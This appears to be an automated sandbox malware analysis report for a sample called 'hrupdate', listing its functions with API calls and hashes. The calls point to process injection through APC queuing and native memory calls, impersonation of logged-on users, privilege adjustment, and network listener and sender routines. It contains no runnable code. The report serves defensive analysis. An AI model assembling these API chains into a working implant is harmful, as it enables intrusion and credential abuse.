String ID: %s$.\*$D0%02d/%02d/%02d %02d:%02d:%02d%s$F%I64d%02d/%02d/%02d %02d:%02d:%02d%s
API String ID: 2804257087-1754256099
Opcode ID: c980ae5e561b8d58e5e8802fbeaa0eda83f3dbeff68df0d1881a28f6b19b1702
Instruction ID: 18ec15d3394b0f4056e268e66a72c23b08c73e763daa23b0ecd0ab6753a6b93f
Opcode Fuzzy Hash: c980ae5e561b8d58e5e8802fbeaa0eda83f3dbeff68df0d1881a28f6b19b1702
Instruction Fuzzy Hash: E4511DB2D00129BAEF11EBE5DC45EFF77FCAF08715F04041AB605A1181FA79AE448B65

Function 0469B1AE Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 118threadsleepprocessCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQueueApcThread,0469AF20,00000000), ref: 0469B1F3
GetProcAddress.KERNEL32(00000000), ref: 0469B1FA

Part of subcall function 0469B122: _malloc.LIBCMT ref: 0469B141

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 0469B229
Thread32First.KERNEL32(00000000,0000001C), ref: 0469B23E
Thread32Next.KERNEL32(00000000,0000001C), ref: 0469B286
Sleep.KERNEL32(000000C8,00000004,00000000), ref: 0469B29D

Strings

ntdll, xrefs: 0469B1DE
NtQueueApcThread, xrefs: 0469B1D7

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Thread32$AddressCreateFirstHandleModuleNextProcSleepSnapshotToolhelp32_malloc
String ID: NtQueueApcThread$ntdll
API String ID: 147937454-1374908105
Opcode ID: aea948428916e17b7c9a8048cc87b57a0d486cd9a1c300920fe39641eb1e0d30
Instruction ID: cedf0a0f4cc6afb152039b8725b1e495dc6160310a4a87791cd31e4492cbd302
Opcode Fuzzy Hash: aea948428916e17b7c9a8048cc87b57a0d486cd9a1c300920fe39641eb1e0d30
Instruction Fuzzy Hash: D2414CB2900209BFEF10EFA5D8859BEBBBDEB14704F104429EA0196240F6B1BE55CF65

Function 0469F544 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 84fileCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0469F551

Part of subcall function 046AEA1B: __FF_MSGBANNER.LIBCMT ref: 046AEA3E
Part of subcall function 046AEA1B: __NMSG_WRITE.LIBCMT ref: 046AEA45
Part of subcall function 046AEA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 046AEA92

__snprintf.LIBCMT ref: 0469F562
FindFirstFileA.KERNEL32(00000000,046996DC,?,0469F633,046996DC,?,Function_0000565A), ref: 0469F56F

Part of subcall function 046AE93E: __lock.LIBCMT ref: 046AE95C
Part of subcall function 046AE93E: ___sbh_find_block.LIBCMT ref: 046AE967
Part of subcall function 046AE93E: ___sbh_free_block.LIBCMT ref: 046AE976
Part of subcall function 046AE93E: HeapFree.KERNEL32(00000000,?,046C95B0,0000000C,046B1056,00000000,046C9760,0000000C,046B1090,?,?,?,046BC35D,00000004,046C9A70,0000000C), ref: 046AE9A6
Part of subcall function 046AE93E: GetLastError.KERNEL32(?,046BC35D,00000004,046C9A70,0000000C,046B7A28,?,?,00000000,00000000,00000000,?,046B05CF,00000001,00000214), ref: 046AE9B7

_malloc.LIBCMT ref: 0469F5AE
__snprintf.LIBCMT ref: 0469F5C3

Part of subcall function 0469F507: _malloc.LIBCMT ref: 0469F512
Part of subcall function 0469F507: __snprintf.LIBCMT ref: 0469F526

FindNextFileA.KERNEL32(000000FF,046996DC,?,?,?,?,?,?,?), ref: 0469F5F0
FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 0469F5FD

Strings

%s\*, xrefs: 0469F55B

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID: %s\*
API String ID: 1254174322-766152087
Opcode ID: c622cf919be442eeb5601df4503eb4e3803a3a19ca408504157e91b9bc63f903
Instruction ID: 995a6217cd052b4a7d5744c4ce388edbd4496eaf28d8fd0822b88d9655297c2d
Opcode Fuzzy Hash: c622cf919be442eeb5601df4503eb4e3803a3a19ca408504157e91b9bc63f903
Instruction Fuzzy Hash: AC21B332540209BBEF115F61CC49ABF3B6DEF41265F198018F809A6251FBB1AD119F64

Function 04698D88 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98processCOMMON

Download Yara Rule

APIs

CreateProcessWithLogonW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,04698FB9,C2E8296A,83FFFFD9,7591E010,046990F0), ref: 04698DBA
GetLastError.KERNEL32 ref: 04698DCC
_memset.LIBCMT ref: 04698E15

Strings

system32, xrefs: 04698E1A
sysnative, xrefs: 04698DF8

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CreateErrorLastLogonProcessWith_memset
String ID: sysnative$system32
API String ID: 2584212486-2461298002
Opcode ID: 5e930242b40a44de7735de1a2425dcf8396591b31e7c8447afad6e6cca29e646
Instruction ID: b03aed80adcb0cb0c8dd355d3ddbde5ae23858669d7d6c5252d6d008781b8854
Opcode Fuzzy Hash: 5e930242b40a44de7735de1a2425dcf8396591b31e7c8447afad6e6cca29e646
Instruction Fuzzy Hash: 0F312776600211ABDF22AF64DC18BE73BADEB1A300F184055FA85D7212FAB5ED548B94

Function 0469D481 Relevance: 9.1, APIs: 6, Instructions: 68networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 0469D49E
htons.WS2_32(?), ref: 0469D4AE
socket.WS2_32(00000002,00000002,00000000), ref: 0469D4C4
closesocket.WS2_32(00000000), ref: 0469D4D1
bind.WS2_32(00000000,?,00000010), ref: 0469D4FF
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0469D516

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 3910169428-0
Opcode ID: b608402f0ceaf5de0d6ddf9a3e6a2abbbb2ebac2acc26c0e05e3ac3f990a3b4d
Instruction ID: 29edf621c81ae3822ce1c77d1eb85b2dac61e6b1e8a5e717e30629a135fdee56
Opcode Fuzzy Hash: b608402f0ceaf5de0d6ddf9a3e6a2abbbb2ebac2acc26c0e05e3ac3f990a3b4d
Instruction Fuzzy Hash: 8C11B271A003146AEB10ABB89C45BAEB6ECDF09728F10453AF654E71C0F6B4BD4587A9

Function 04697BE7 Relevance: 9.1, APIs: 6, Instructions: 68sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04697BF9
Sleep.KERNEL32(000003E8), ref: 04697C69
GetTickCount.KERNEL32 ref: 04697C6F
Sleep.KERNEL32(000003E8), ref: 04697C82
closesocket.WS2_32(00000000), ref: 04697C89
send.WS2_32(00000000,?,?,00000000), ref: 04697C9C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountSleepTick$closesocketsend
String ID:
API String ID: 1472970430-0
Opcode ID: f2b0f623d8a3b2b5517e8a24d1167eaab5473cd4e2462c4c36e0e43509a8618c
Instruction ID: 42e67b664ccca51f4fe1d63ffa24afad1dbe62de2607edc6a9a339574a644663
Opcode Fuzzy Hash: f2b0f623d8a3b2b5517e8a24d1167eaab5473cd4e2462c4c36e0e43509a8618c
Instruction Fuzzy Hash: C8118472D00218EFEF01ABF4DC808DD7BBCEF04225F10053AE211A6190FAB5AA449B55

Function 0469D39F Relevance: 9.1, APIs: 6, Instructions: 54networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 0469D3B7
htons.WS2_32(?), ref: 0469D3D3
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0469D3EC
closesocket.WS2_32(00000000), ref: 0469D3F7
bind.WS2_32(00000000,?,00000010), ref: 0469D405
listen.WS2_32(00000000,?), ref: 0469D413

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1767165869-0
Opcode ID: a218659402dad6ae6a894665ed8e242990da67fb562982b30a923339fbc82cb0
Instruction ID: 4ce2826a0eb83b8b0692cd9a29b941caa7a0627244ab93692df6b54550c99809
Opcode Fuzzy Hash: a218659402dad6ae6a894665ed8e242990da67fb562982b30a923339fbc82cb0
Instruction Fuzzy Hash: 8E01B531600628B7DF116FA88C05AEFBBADDF42755F204126FA40E6181F7B4AD4187E9

Function 046A43CB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 046A4070: RevertToSelf.ADVAPI32(00000100,046A4609,00000000,?,?,04695B6E,?,00000000,00000000,00000000,00000100,00000100), ref: 046A4088

LogonUserA.ADVAPI32(?,?,?,00000009,00000003,046DAF5C), ref: 046A43EB
GetLastError.KERNEL32 ref: 046A43F5

Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF65
Part of subcall function 0469CF5F: _malloc.LIBCMT ref: 0469CF75

Part of subcall function 04697635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,046990F0,?,04698F09,046990F0,?,00000400), ref: 0469764B
Part of subcall function 04697635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,046990F0,04698F09,?,04698F09,046990F0,?,00000400,?,?,?,?,046990F0), ref: 04697664

Part of subcall function 046958BF: _malloc.LIBCMT ref: 046958C5

Part of subcall function 04695A19: _vwprintf.LIBCMT ref: 04695A23
Part of subcall function 04695A19: _vswprintf_s.LIBCMT ref: 04695A47

Part of subcall function 04695A58: _memset.LIBCMT ref: 04695A66

ImpersonateLoggedOnUser.ADVAPI32 ref: 046A440F
GetLastError.KERNEL32 ref: 046A4419

Strings

%s\%s, xrefs: 046A44C4

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc$ByteCharErrorLastMultiUserWide$ImpersonateLoggedLogonRevertSelf_memset_vswprintf_s_vwprintf
String ID: %s\%s
API String ID: 744593125-4073750446
Opcode ID: 6910ab402f794f729f7ded9293b5aaf242aea12156ae8fc37feec006016cce3d
Instruction ID: ccfba1401f2a7f1d426fe30e7b5d51865ee29736d1ed3f9d2c765171c6f7bc3a
Opcode Fuzzy Hash: 6910ab402f794f729f7ded9293b5aaf242aea12156ae8fc37feec006016cce3d
Instruction Fuzzy Hash: 0631A7B2D05208BBEF017FE0EC45EAA3BADEB04719F144028B90495251FBB96D11DFA5

Function 046B655E Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 046BA36D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 046BA382
UnhandledExceptionFilter.KERNEL32(046C1C54), ref: 046BA38D
GetCurrentProcess.KERNEL32(C0000409), ref: 046BA3A9
TerminateProcess.KERNEL32(00000000), ref: 046BA3B0

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 52fd3d9ecdd2c7950539492786b6b91943a51f075130d0451df8e56cd78ea6ad
Instruction ID: 61b659febe48617ed39fc266c94dc79d65c4f930be13487bb974748655bc391f
Opcode Fuzzy Hash: 52fd3d9ecdd2c7950539492786b6b91943a51f075130d0451df8e56cd78ea6ad
Instruction Fuzzy Hash: D721DFB9D022059FDB00DF69F545AA43BB4FB08308F58B01AE4898BB41F77DACA18F45

Function 046A4FA4 Relevance: 7.5, APIs: 5, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 046A4FB6
closesocket.WS2_32(00000000), ref: 046A4FC3
htons.WS2_32(?), ref: 046A4FD4
bind.WS2_32(00000000,?,00000010), ref: 046A4FEB
listen.WS2_32(00000000,00000078), ref: 046A4FFC

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonslistensocket
String ID:
API String ID: 564772725-0
Opcode ID: bcc18c4c3e267716dc01509656a40a2512f6f55d19c0d3266e71207be3a5b7c9
Instruction ID: f56052b6a3a9c912b0d63ac5f8b9134470556e8872c11b244d7f0af1e8acae78
Opcode Fuzzy Hash: bcc18c4c3e267716dc01509656a40a2512f6f55d19c0d3266e71207be3a5b7c9
Instruction Fuzzy Hash: D2F0D135950A1476EB107BB49C0AFEE3228AF41328F404305F961A91D2FBF4B9559FEA

Function 046987F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 04698851
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 04698874
GetLastError.KERNEL32 ref: 0469887E

Part of subcall function 04695A19: _vwprintf.LIBCMT ref: 04695A23
Part of subcall function 04695A19: _vswprintf_s.LIBCMT ref: 04695A47

Strings

%s, xrefs: 0469888B

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID: %s
API String ID: 2004037343-620797490
Opcode ID: 295375800ba6e8334805cf54146f7c0022d252f57c9064e51e3577d7dd4e99f2
Instruction ID: 0b4034de3eb981c660dbd838bf88d0ff8544fad32bb119a8ffb1648c8c900f76
Opcode Fuzzy Hash: 295375800ba6e8334805cf54146f7c0022d252f57c9064e51e3577d7dd4e99f2
Instruction Fuzzy Hash: B4116072910129BBEF11AFA5DD449EFBBFCEF05294F100426FA05F2150E675EE048AB1

Function 046A2E65 Relevance: 6.2, APIs: 4, Instructions: 178nativethreadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000000,?,?,046A3FFF,00000000,00000000,000000FF,00000080,00000000,00000000,?,?,046949A6), ref: 046A2FA2
NtCreateThreadEx.NTDLL(046949A6,001FFFFF,00000000,?,?,00000000,00000001,00000000,00000000,00000000,00000000), ref: 046A2FC4

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A09F

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset$CreateCurrentProcessThread
String ID:
API String ID: 4175059785-0
Opcode ID: 3abcc3247656768b8e43eb87e453ade64a3f0051260e519a4e2bda0c75d2cd32
Instruction ID: 1fc068066a1ba788218a192ec4e9e91f86b9fe1f03acc9344beda5f210f34abe
Opcode Fuzzy Hash: 3abcc3247656768b8e43eb87e453ade64a3f0051260e519a4e2bda0c75d2cd32
Instruction Fuzzy Hash: 9441A9B1A425107BEB716E51DC45DAB3EDCEF267A4F000018F90C55281F679AD60CAF5

Function 046A29D5 Relevance: 6.2, APIs: 4, Instructions: 157nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,046DA64C,00000000,?,?,?,046960AF,00000000,046DA64C,?,00000001,000002F0,?,00000000,0469632B,?), ref: 046A2AFB
NtProtectVirtualMemory.NTDLL(?,?,00000000,?,046DA64C), ref: 046A2B15

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A09F

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset$CurrentMemoryProcessProtectVirtual
String ID:
API String ID: 1381917366-0
Opcode ID: 636f89647d5b4160c591606c8d343990e60d36ffe2b3a16cb5e5a761644cb557
Instruction ID: a32caa4f4055f59c499a920c7b251280046cfe82024362468d9e02f97209876c
Opcode Fuzzy Hash: 636f89647d5b4160c591606c8d343990e60d36ffe2b3a16cb5e5a761644cb557
Instruction Fuzzy Hash: 3941C3B1A41105BBEF25AF50DC85DAF3FADEB25398F000058F90892241F679ED64CFA0

Function 046A2824 Relevance: 6.2, APIs: 4, Instructions: 152memorynativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000002F0,?,00000000,?,?,?,046963B2,00000000,00000000,000002F0,00003000,?,?,00000008,00000001), ref: 046A2941
NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,00003000,00000000,046963B2), ref: 046A295C

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A048

Part of subcall function 0469A042: _malloc.LIBCMT ref: 0469A09F

Part of subcall function 04699F1A: _malloc.LIBCMT ref: 04699F5B
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699F6C
Part of subcall function 04699F1A: _memset.LIBCMT ref: 04699FB7
Part of subcall function 04699F1A: _memset.LIBCMT ref: 0469A00C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc_memset$AllocateCurrentMemoryProcessVirtual
String ID:
API String ID: 2672565004-0
Opcode ID: 2cf6eb09f3ec50b11d8bda6da1bc1e1f562faef97b06f1cf1b5341f6f18f20fe
Instruction ID: c17751aee24e2125a37cc2996851835b9c02b3ee250b0cd6843eb87cf3b52d3a
Opcode Fuzzy Hash: 2cf6eb09f3ec50b11d8bda6da1bc1e1f562faef97b06f1cf1b5341f6f18f20fe
Instruction Fuzzy Hash: ED418EB1941114BFEF25EF91EC55DAF3FADEF267A4B000059F80892251F675AD20CBA1

Function 0469CBF1 Relevance: 6.1, APIs: 4, Instructions: 63sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0469CC00
Sleep.KERNEL32(000003E8), ref: 0469CC50
GetTickCount.KERNEL32 ref: 0469CC56
WSAGetLastError.WS2_32 ref: 0469CC5C

Part of subcall function 0469CBAB: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 0469CBBD

Part of subcall function 0469C387: _memset.LIBCMT ref: 0469C3A8

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleep_memsetioctlsocket
String ID:
API String ID: 3301373915-0
Opcode ID: d544e62be36a6ef1609ec2d1daef69ca0f48bf3d134521a633aaa4cedd1dde19
Instruction ID: 9630df9f5c5f6e3369aa8bc4d7a560af1dccb0615774062850fbbfec87591e58
Opcode Fuzzy Hash: d544e62be36a6ef1609ec2d1daef69ca0f48bf3d134521a633aaa4cedd1dde19
Instruction Fuzzy Hash: CE11C673C00109ABEF107BB4EC419EE7BEDDB44268F240026F600A7190FAA4BD865699

Function 046A459B Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75922E90,?,?,?,0469CE90), ref: 046A45CE
CheckTokenMembership.ADVAPI32(00000000,?,0469CE90,?,?,?,0469CE90), ref: 046A45E3
FreeSid.ADVAPI32(?,?,?,?,0469CE90), ref: 046A45F3

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 7e347504e0d86d94d12591252da590fb3b9e00735db146bfb12d0c5806d19d96
Instruction ID: 28aecef368c446d64161f4a3cc402406cba399f4f6448f0df2d0835e1a7ea6b4
Opcode Fuzzy Hash: 7e347504e0d86d94d12591252da590fb3b9e00735db146bfb12d0c5806d19d96
Instruction Fuzzy Hash: 6C011D76945288FEDB01DBE88984AEDBF78EB25200F44449AA501A3242E6709B18DB25

Function 046BD4E0 Relevance: 4.4, Strings: 3, Instructions: 612COMMON

Download Yara Rule

Strings

abcdefghijklmnop, xrefs: 046BD4EB
<, xrefs: 046BD866
, xrefs: 046BD85C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID: $<$abcdefghijklmnop
API String ID: 0-2431890337
Opcode ID: 589e3b946b326a213d4398395d5a4a76cdec11e31719adc70cc6f86360464dbb
Instruction ID: d9c681dbf20f4a5a32e6981efed085aa9c8399d8eb2984a7a34d40883d5f65e3
Opcode Fuzzy Hash: 589e3b946b326a213d4398395d5a4a76cdec11e31719adc70cc6f86360464dbb
Instruction Fuzzy Hash: 5A52E375A001199FDB48CF69C491AADBBF1EF8D300F14C16AE865AB342D638E951CFA4

Function 046988A5 Relevance: 1.5, APIs: 1, Instructions: 38pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeA.KERNEL32(?,00000003,00000004,00000002,00000000,00000000,00000000,00000000), ref: 046988F9

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: 7e470d41ff7f4ecef460ff3326896921b70e676bb5c1fc7d5176bfa38c013841
Instruction ID: 1b36b2448f3ba59b15b1ac194b6a9cd96d63b68f1aa23ae3d608c75ac6c4d310
Opcode Fuzzy Hash: 7e470d41ff7f4ecef460ff3326896921b70e676bb5c1fc7d5176bfa38c013841
Instruction Fuzzy Hash: 96F0C8B1901308AFEB10AE79ECC6EA63FECD301368F105329E2A5D21D1F2B95E954E55

Function 006737E2 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000037EE,00672EF1), ref: 006737E7

Memory Dump Source

Source File: 00000000.00000002.3896617863.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.3896582194.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896648026.0000000000674000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896669818.0000000000676000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000677000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3896684082.0000000000690000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_hrupdate.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6d83936a5cac999094e381013522a0316588b0eb75638898f96f2eb3d9c08fa0
Instruction ID: e816ec5407db5c66093fbdab87839a89d5dd311e9e037b9041c27011566325c2
Opcode Fuzzy Hash: 6d83936a5cac999094e381013522a0316588b0eb75638898f96f2eb3d9c08fa0
Instruction Fuzzy Hash:

Function 00F3BE95 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f30000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction ID: f3ea1702f16f66b654406b2db58bf769a7b374e6192fb745449aff962af0302e
Opcode Fuzzy Hash: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction Fuzzy Hash: 935190B4E00219DFCB08CF98C490AEEBBB1FF48314F248199D915A7355D335AA41DFA4

Function 00F3CA68 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f30000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction ID: ca775c2d2ae5e55d2f098c1ef13b4c81aba538394422430142d7cbee6581e8b3
Opcode Fuzzy Hash: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction Fuzzy Hash: CC518E74E0421A9FCB04CF98C590AAEFBB2FF88314F248199D915BB355D334AA51DFA4

Function 046ABBDA Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: 60347157e8862350854cb8fdef7e5684c47df712c36dee72f341f05ac62c99b7
Instruction ID: f8b4f33ff3c25f901edc1ae847d9a93088ba89c2733969efea3bd651abded616
Opcode Fuzzy Hash: 60347157e8862350854cb8fdef7e5684c47df712c36dee72f341f05ac62c99b7
Instruction Fuzzy Hash: CF410AB2E00209AFDB14DFA8C881AAEB7B5EF48314F15816DE956E7341E634BD51CF50

Function 0469D902 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 210networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(0469489E), ref: 0469D93C
select.WS2_32(00000000,?,?,?,?), ref: 0469D9A0
__WSAFDIsSet.WS2_32(34E85900,?), ref: 0469D9BC
accept.WS2_32(34E85900,00000000,00000000), ref: 0469D9D1
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 0469D9E4

Part of subcall function 0469D308: _malloc.LIBCMT ref: 0469D30F
Part of subcall function 0469D308: GetTickCount.KERNEL32 ref: 0469D32F

Part of subcall function 046958BF: _malloc.LIBCMT ref: 046958C5

Part of subcall function 0469590F: htonl.WS2_32(00000000), ref: 04695915

Part of subcall function 04695A58: _memset.LIBCMT ref: 04695A66

__WSAFDIsSet.WS2_32(34E85900,?), ref: 0469DA71
accept.WS2_32(34E85900,00000000,00000000), ref: 0469DA83
closesocket.WS2_32(0469489E), ref: 0469DB91

Strings

d, xrefs: 0469D91C

Memory Dump Source

Source File: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, Offset: 04694000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4694000_hrupdate.jbxd

Yara matches

Similarity

